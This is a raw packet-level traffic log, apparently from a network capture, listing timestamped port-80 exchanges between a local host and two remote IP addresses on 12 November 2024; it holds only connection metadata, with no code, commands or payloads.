Nov 12, 2024 02:13:29.948817968 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948831081 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948860884 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948873043 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948885918 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948909998 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948940039 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948976994 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948998928 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.949012995 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.949018955 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.949026108 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.949033022 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.949043036 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.949055910 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.949069023 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.949089050 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.975440979 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.980309963 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260361910 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260387897 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260431051 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.260462999 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.260535955 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260550022 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260560989 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260571957 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260581970 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.260584116 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260596037 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260598898 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.260610104 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260617018 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260628939 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260637045 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.260642052 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260658979 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.260665894 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260678053 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260687113 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.260695934 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260698080 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.260715008 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260729074 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260737896 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.260740995 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260752916 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260760069 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.260766983 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260787010 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.260807991 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260809898 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.260818958 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260839939 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260849953 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.260850906 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260858059 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260868073 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260885954 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260893106 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.260900021 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260906935 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.260911942 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260935068 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.260937929 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260951996 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260958910 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.260962963 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.260981083 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261010885 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261024952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261061907 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261123896 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261136055 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261157990 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261163950 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261178970 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261183977 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261192083 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261195898 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261209965 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261214972 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261228085 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261234045 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261238098 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261249065 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261251926 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261270046 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261282921 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261292934 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261303902 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261307001 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261318922 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261323929 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261336088 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261338949 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261358023 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261363983 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261370897 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261379004 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261394024 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261403084 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261409044 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261410952 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261430979 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261445045 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261449099 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261456966 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261475086 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261482954 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261495113 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261498928 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261511087 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261523962 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261532068 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261534929 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261547089 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.261557102 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261574030 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.261601925 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.262007952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262022018 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262027979 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262032986 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262046099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262068987 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262079954 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262087107 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.262090921 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262104034 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262105942 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.262115002 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262126923 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.262128115 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262139082 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262147903 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262151003 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.262161016 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262171984 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262173891 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.262183905 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262187004 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.262218952 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.262254953 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.262263060 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262274981 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.262310028 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.693918943 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.693954945 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:30.698914051 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:30.698929071 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:31.479451895 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:31.479619026 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:31.531296968 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:31.536279917 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:31.819462061 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:31.819473982 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:31.819480896 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:31.819523096 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:31.819550991 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:31.819597960 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:31.819638014 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:31.821408033 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:31.826327085 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:32.108630896 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:32.108692884 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:32.120286942 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:32.125257969 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:32.902483940 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:32.902538061 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:32.930891037 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:32.935745955 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:33.217981100 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:33.218148947 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:33.221990108 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:33.232258081 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:33.232361078 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:33.232470989 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:33.238368988 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.155245066 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.155261993 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.155291080 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.155307055 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.155323982 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.155330896 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.155334949 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.155348063 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.155359030 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.155371904 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.155376911 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.155386925 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.155396938 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.155415058 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.155438900 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.160252094 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.160274029 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.160304070 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.160316944 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.319658995 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.319670916 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.319681883 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.319695950 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.319734097 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.319758892 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.324400902 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.324415922 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.324426889 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.324439049 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.324450016 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.324476957 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.329165936 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.329178095 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.329186916 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.329199076 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.329207897 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.329220057 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.329241991 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.436646938 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.436661005 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.436678886 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.436695099 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.436702013 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.436706066 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.436722040 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.436739922 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.436763048 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.437290907 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.437338114 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.437339067 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.437356949 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.437369108 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.437380075 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.437380075 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.437398911 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.437419891 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.438157082 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.438169003 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.438204050 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.484016895 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.484107018 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.484143972 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.484252930 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.553683043 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.553697109 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.553706884 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.553761959 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.554027081 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.554038048 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.554044962 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.554054022 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.554184914 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.554472923 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.554486036 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.554502010 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.554512024 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.554522038 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.554542065 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.554559946 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.601389885 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.601412058 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.601429939 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.601480007 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.601507902 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.670775890 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.670803070 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.670830011 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.670844078 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.670855999 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.670864105 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.670917034 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.671266079 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.671284914 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.671298027 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.671334982 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.671348095 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.671408892 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.671421051 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.671448946 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.671472073 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.672055006 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.672065973 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.672076941 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.672107935 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.672131062 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.719151974 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.719163895 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.719175100 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.719187021 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.719202042 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.719227076 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.787816048 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.787873030 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.787874937 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.787887096 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.787899017 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.787914038 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.787935019 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.787945986 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.788122892 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.788135052 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.788151026 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.788165092 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.788171053 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.788177013 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.788206100 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.788216114 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.788929939 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.788980961 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.789086103 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.789098978 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.789129019 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.789144993 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.789257050 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.789299965 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.835232019 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.835242987 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.835252047 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.835300922 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.835323095 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.835424900 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.835433960 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.835464954 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.904983044 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.904997110 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.905008078 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.905019999 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.905035019 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.905050039 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.905076981 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.905509949 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.905523062 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.905534029 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.905558109 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.905585051 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.905812979 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.905826092 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.905838966 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.905850887 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:34.905855894 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:34.905877113 CET	49763	80	192.168.2.4	185.215.113.16
